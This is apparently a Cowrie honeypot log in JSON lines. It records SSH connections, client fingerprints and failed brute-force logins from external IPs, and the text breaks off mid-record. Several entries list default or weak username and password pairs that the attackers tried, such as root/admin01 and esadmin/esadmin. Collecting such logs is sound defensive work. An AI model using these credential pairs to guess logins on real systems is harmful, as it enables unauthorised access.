{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:49.003142Z","src_ip":"45.162.8.14","session":"2099856da0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35984,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd0824ea953","protocol":"ssh","message":"New connection: 176.65.132.129:35984 (159.203.135.109:22) [session: 6fd0824ea953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:49.033040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:49.038089Z","src_ip":"176.65.132.129","session":"6fd0824ea953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:49.121207Z","src_ip":"176.65.132.129","session":"6fd0824ea953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin01","message":"login attempt [root/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:49.474820Z","src_ip":"45.162.8.14","session":"2099856da0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:49.534152Z","src_ip":"176.65.132.129","session":"6fd0824ea953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:50.593854Z","src_ip":"45.162.8.14","session":"2099856da0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:50.619779Z","src_ip":"176.65.132.129","session":"6fd0824ea953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":54742,"dst_ip":"159.203.135.109","dst_port":22,"session":"e737ee82b6e8","protocol":"ssh","message":"New connection: 23.249.28.115:54742 (159.203.135.109:22) [session: e737ee82b6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:51.133855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:51.138840Z","src_ip":"23.249.28.115","session":"e737ee82b6e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:51.330922Z","src_ip":"23.249.28.115","session":"e737ee82b6e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jeanne1234","message":"login attempt [root/jeanne1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:52.123699Z","src_ip":"23.249.28.115","session":"e737ee82b6e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36000,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e01b9edda87","protocol":"ssh","message":"New connection: 176.65.132.129:36000 (159.203.135.109:22) [session: 3e01b9edda87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:52.429793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:52.435324Z","src_ip":"176.65.132.129","session":"3e01b9edda87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:52.521265Z","src_ip":"176.65.132.129","session":"3e01b9edda87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:52.767852Z","src_ip":"176.65.132.129","session":"3e01b9edda87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:53.317479Z","src_ip":"23.249.28.115","session":"e737ee82b6e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":50764,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5346f3c81ec","protocol":"ssh","message":"New connection: 20.193.250.100:50764 (10.17.0.5:22) [session: e5346f3c81ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:53.445296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:53.450835Z","src_ip":"20.193.250.100","session":"e5346f3c81ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:53.651802Z","src_ip":"20.193.250.100","session":"e5346f3c81ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:53.852128Z","src_ip":"176.65.132.129","session":"3e01b9edda87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as123456","message":"login attempt [root/as123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:54.499856Z","src_ip":"20.193.250.100","session":"e5346f3c81ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":57082,"dst_ip":"10.17.0.5","dst_port":22,"session":"1899dfe748ef","protocol":"ssh","message":"New connection: 13.71.92.229:57082 (10.17.0.5:22) [session: 1899dfe748ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:55.567209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:55.572538Z","src_ip":"13.71.92.229","session":"1899dfe748ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36006,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa88ce779373","protocol":"ssh","message":"New connection: 176.65.132.129:36006 (159.203.135.109:22) [session: aa88ce779373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:55.618783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:55.624442Z","src_ip":"176.65.132.129","session":"aa88ce779373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:55.704949Z","src_ip":"20.193.250.100","session":"e5346f3c81ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:55.711536Z","src_ip":"176.65.132.129","session":"aa88ce779373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:55.789337Z","src_ip":"13.71.92.229","session":"1899dfe748ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:55.959473Z","src_ip":"176.65.132.129","session":"aa88ce779373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mis123","message":"login attempt [root/mis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:56.671105Z","src_ip":"13.71.92.229","session":"1899dfe748ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:57.053165Z","src_ip":"176.65.132.129","session":"aa88ce779373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:57.886806Z","src_ip":"13.71.92.229","session":"1899dfe748ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42204,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f1e6e715ab6","protocol":"ssh","message":"New connection: 176.65.132.129:42204 (159.203.135.109:22) [session: 3f1e6e715ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:58.814521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:58.821231Z","src_ip":"176.65.132.129","session":"3f1e6e715ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:58.908654Z","src_ip":"176.65.132.129","session":"3f1e6e715ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00180673599243,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:59.119305Z","src_ip":"152.42.224.71","session":"7638a27293c2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:59.155671Z","src_ip":"176.65.132.129","session":"3f1e6e715ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:00.241674Z","src_ip":"176.65.132.129","session":"3f1e6e715ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42220,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb61e1421274","protocol":"ssh","message":"New connection: 176.65.132.129:42220 (159.203.135.109:22) [session: cb61e1421274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:02.293561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:02.298809Z","src_ip":"176.65.132.129","session":"cb61e1421274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 